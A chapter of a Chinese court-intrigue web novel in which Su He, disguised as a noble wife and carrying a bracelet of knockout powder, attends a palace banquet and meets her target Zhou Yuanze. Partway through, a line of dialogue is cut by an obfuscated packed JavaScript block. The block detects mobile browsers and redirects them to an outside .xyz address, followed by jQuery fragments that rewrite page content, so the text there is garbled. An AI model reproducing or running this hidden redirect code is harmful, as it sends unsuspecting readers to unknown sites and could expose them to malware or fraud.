苏荷不确定周元泽会不会进宫,但又不能直接向谢无痕打听,故尔一连三日徘徊不决。
张秀花忍不住叮嘱:“那可是宫里,小姐万不可轻举妄动。”
苏荷答非所问:“阿四那边可有消息?”
张秀花无奈摇头:“哪有什么消息,阿四说了,周元泽的一应饮食皆由菜贩子、米贩子送货到周家,那些粮货先运到周家后厨,在后厨做成米饭菜肴后再分派各院,压根儿就寻不到什么下手的机会。”
苏荷沉默良久,低语:“既然如此,宫宴倒是难得的一次接近周元泽的机会。”
张秀花愈发不安:“那宫里不知墙有多高、道有多杂、护卫有多隐秘,但凡出个什么意外,怕是跑都没地儿跑,再说了,小姐上回便与周元泽睹过一面,这回先不说要将他如何,单说万一被他认出,一切便都完了,小姐切莫冲动啊。”
苏荷俨然不在意:“我这回见他可不是什么花娘,乃是堂堂大理寺少卿的夫人,他即便瞧着我有几份眼熟,断然也不敢将我如何,姑姑放心,我知道轻重,会相机行事的。”
张秀花哪能放心得下,反复叮嘱:“无论如何,小姐此次进宫须得安安分分的,你须得答应姑姑。”
苏荷被她缠得没法,只得点头答应。
但在动身进宫前,她仍是将装有药粉的手镯戴上了手腕。
张秀花将她拉到一边,低声问:“小姐既然已答应安安分分,为何还要戴这只手镯?”
苏何解释:“里面不过是装了些迷·药,用来防身。”
她没撒谎,确实只是用来防身。
此次宫宴有诸多未知,她不能贸然预设什么,只求一个自保。
张秀花这才松了口气,放下心来。
谢无痕推门进屋,问了句:“娘子可收拾好了。”
张秀花吓得后背一紧,急忙退到一旁。
苏荷笑盈盈回:“贫妾收拾好了,这就与夫君一道进宫。”说完牵住谢无痕伸过来的手,与他前后脚出了春华院,坐上进宫的马车。
马车里,苏荷免不得要打听一些宫宴规模及宫中礼仪之事。
毕竟,即便她是真正的李姝丽,也是没机会进宫的,何况她本还是个出身微末的奴仆,心里多少有些压力。
谢无痕贴心宽慰:“今日宫宴虽规模大、人也多,但娘子不必紧张,那些人也是来赴宴的,没什么了不得的,娘子与他们不熟,便不必理会。”
又说:“至于礼数嘛,反正别人怎么行礼,娘子便怎么行礼,浑水摸鱼便是,不必拘谨。”
他将一切说得云淡风轻,倒减轻了她不少压力。
几刻钟功夫,马车到达宫门口。
因赴宴人数众多,宫门口也被堵得水泄不通,马车横一辆竖一辆,门前的空地上连落脚的地儿都没有。
吴生只得将马车掉头,好不容易在旁边巷口找了个停车位置。
谢无痕扶着苏荷下了马车,在密密匝匝的人群里左弯右拐,终于顺利到达宫门处,继而向守门侍卫递上腰牌,提步迈进了皇宫。
人群在宫内分散,四下里倒是清静了许多。
苏荷抬眸看向高高的宫墙,再看向被宫墙与殿宇切割成不同形状的天空,不禁满腹感慨:“原来这就是皇宫的样子。”
谢无痕意味深长笑了笑:“是皇宫,亦是深井。”
苏荷警觉地朝四周张望两眼:“夫君且小点声儿。”
谢无痕浑不在意:“即便让皇上听到,皇上也不会将为夫如何?”
她问:“为什么?”
他答:“因为皇上是个开明的人。”
他的神色里带着几许骄傲,那是一种独属于御前红人的骄傲。
她故意带着几许羡慕:“看来,皇上赏识夫君也不是没道理的。”
他顺着杆子往上爬:“这是自然,娘子慧眼。”
二人相视一笑。
途中偶有官员过来打招呼,谢无痕皆应付过去。
两刻钟的功夫,二人来到了嘉德殿前。
嘉德殿,也正是今日举办宴会的大殿。
此时殿中人头攒动,酒水飘香,皇帝及嫔妃还未到,殿中官员们便三五成群,聚在一起拉家常、聊公务,时不时传出一阵朗笑声,好不热闹。
殿内男女分席而坐,中间隔着一面巨大的帷幕。
谢无痕先将苏荷送至女席入口处,反复叮嘱:“不过就是吃顿饭而已,娘子放轻松。”
又说:“看不顺眼的人就别理,反正一切有为夫在。”
苏荷点头:“夫君放心,贫妾可以的。”
他略略安心,温柔地看了她一眼,这才转身离开。
女宾席已坐满朝中各官员的家眷,有半老徐娘,亦有年轻贵女,她们要么正襟危坐,要么与邻座低声交谈。
苏荷进殿时,众人纷纷朝她侧目。
有人在小声问:“这人是谁啊,怎的没见过?”
另一人回:“我刚看到谢家大郎送此人至殿门口,她应该就是那位谢家少夫人吧?”
有人说风凉话:“原来是谢家人,之前那桩丑闻在京城传得沸沸扬扬的,她竟然还有脸出门?”
“丑闻主角乃是谢家老夫人,她是谢家少夫人,又不是同一人。”
“上梁不正下梁歪,还不是一回事。”
苏荷懒得理会这些嘈杂,径直在末尾的席位坐下。
自嫁入谢家,她从未与京城贵妇们打过交道,在场之人自也是一个都不认得。
不认得也好,免去了应酬的麻烦,她正好可以安心地享用宫中膳食了。
此时面前的宴桌上已摆了“牡丹燕菜”“焦炸丸子”“脆皮黑胶雪花牛肉”三道菜,每道菜皆色香味俱全,令人望而生津。
婢女们随后还奉上了一道“桂皮茶”。
不过片刻,帷幕那边便传来内侍的唱喝:“皇上驾到……”
话一落音,嘈杂声瞬间止息,整个大殿彻底静下来。
透过薄薄的帷幕,苏荷看到身着龙袍的皇帝在内侍的搀扶下,从旁边的侧门走进了大殿,并坐上了龙椅。
他身后跟着一名盛装的妇人,或许是皇后吧?
妇人身后则跟着两名男子及一名小儿。
即便隔着帷幕,苏荷也一眼认出其中一名男子便是在怡春楼里拿腰带抽打过她的二皇子。
对比那日怡春楼里的冷酷残暴,今日的二皇子则一袭蟒服、面带微笑,看上去尊贵、亲切,令人如沐春风。
当真是人不可貌相啊!
苏荷暗暗握拳,轻舒一口气。
所幸她有少卿夫人这一重身份掩饰,即便那二皇子近距离瞧见了她,也定不会将她与当日那个花娘联系在一起吧?
殿中官员已跪成一片,女眷们也跟着伏地而跪,齐声高呼:“皇上万岁万岁万万岁,娘娘千岁千岁千千岁。”
皇帝声音浑厚,语气里带着亲和:“大家勿需多礼,都平身吧。”
众人这才纷纷起身。
但起身了也未就座,仍立于大殿中。
殿前一男子躬身出例,“微臣不知,为何今日如此重要场合,不见皇后娘娘,却只见淑妃娘娘?”
苏荷一怔,这才反应过来,原来皇帝身侧那位女子并非是皇后,而是淑妃。
皇帝似话里有话:“周卿当真是操心的命啦,竟操心到朕这后宫里来了?”
男子再次跪地:“臣不敢,臣不过是……担心皇后娘娘。”
皇帝漫不经心:“皇后乃周卿堂妹,周卿担心她也不为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16101991|172355||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过,先平身吧。”
待那男子起身,皇帝这才解释:“皇后身染风寒,正在坤宁宫里歇息呢,故尔没来参加今日盛会。”
被唤周卿的男子垂首,一时无言。
苏荷再次恍然,原来周卿就是周平,也是那个差点就娶了她的六旬老头——亦是周元泽的父亲。
她透过帷幕瞟了周平一眼,见他身形不高、腰背佝偻,看上去也算是老态龙钟了,当日若是嫁给了他,周元泽大概早就命丧她手了吧?现下她也就不会因想杀周元泽而如此犯难了吧?
苏荷想来便觉几许遗憾。
此时殿中另一男子也出例:“皇上,世间人伦向来是上下有序尊卑有别,此等场合不见皇后娘娘,便不可见淑妃娘娘。”
此人明显是在帮着周家说话。
“陶大人说笑了,今日乃是淑妃娘娘的生辰宴,不见淑妃娘娘,这生辰宴还如何办下去?”是谢无痕的声音。
陶大人不甘示弱:“即便要办,也须等皇后娘娘身体康健了再说。”
谢无痕轻笑:“待皇后娘娘身体康健,淑妃娘娘的生辰早就过了,再办这生辰宴还有何意义?”
陶大人哽了哽:“皇后娘娘乃一国之母,乃世间女子之楷模,只有世人尊皇后娘娘的道理,哪有皇后娘娘奉旁人的道理,还望谢大人慎言。”
谢无痕的语气愈发不屑:“该慎言的乃是陶大人你才对,陶大人刚刚也说了,世间人伦向来是上下有序尊卑有别,试问,陶大人一介臣子,有何资格质问皇上与淑妃娘娘今日之安排?”
陶大人一顿,霎时噤了声。
有了谢无痕带头,一连有好几位官员出例替淑妃说话。
气得周平暗暗握拳,腰背愈发佝偻了。
皇帝故作无奈地摆了摆手,“众卿都别吵了,既已设下宴席,就该好好用宴才是。”
一旁的淑妃也接下话头:“早知要惹出这般官司,臣妾这生辰宴不办了便是。”
皇帝握住她的手软声抚慰:“爱妃的生辰宴怎能说不办就不办?”
继而他又吩咐众卿就座,道了声“开席”。
一时间,殿中佳肴满目觥筹交错。
众人举杯齐祝淑妃娘娘朱颜永驻、福泽绵绵,接着便是皇帝与淑妃举杯,祝众臣及家眷岁岁平安、福禄双临。
宴席至半途,皇帝提前离场,并顺势叫走了谢无痕。
离场前皇帝还朝赵富使了个眼色。
赵富会意,又朝殿中伺候酒水的内侍使了个眼色。
那名内侍也会意,提着酒盏给官员们满盏,尤其在周元泽身侧留得格外久一些……
帷幕这边的苏荷也自顾自地吃了个大饱。
此时因皇帝离开,众人舒展了不少,殿中又开始变得嘈杂,有些人甚至起身与同僚对饮、聊天。
女眷这边的情况如出一辙,贵妇们三三两两聚于一处,开始东家长西家短地闲聊。
苏荷与她们不熟,仍是一个人独坐。
一名喝得微醺的贵妇经过苏荷桌前时不小心一个踉跄,将手中满盏的酒水全洒在了苏荷衣袖上。
贵妇有些懵,连连道歉。
苏荷无奈,道了声“没关系”。
随后叫来宫婢,让其带自己去换身干净衣裙。
宫婢恭敬地应了声“是”,领着她走出了殿门。
二人穿过一条狭长的走廊,来到一处偏殿,殿中挂着数十套宫装,看上去琳琅满目。
宫婢言:“此乃为今日宴会所备,夫人可任选一身。”
苏荷道了声“谢”,随手拿了身衣裙换上。
她整理好衣衫刚走出偏殿,却兀地与一人撞了个满怀,差点摔倒。
苏荷好不容易稳住身形,抬眸,看到了周元泽的脸……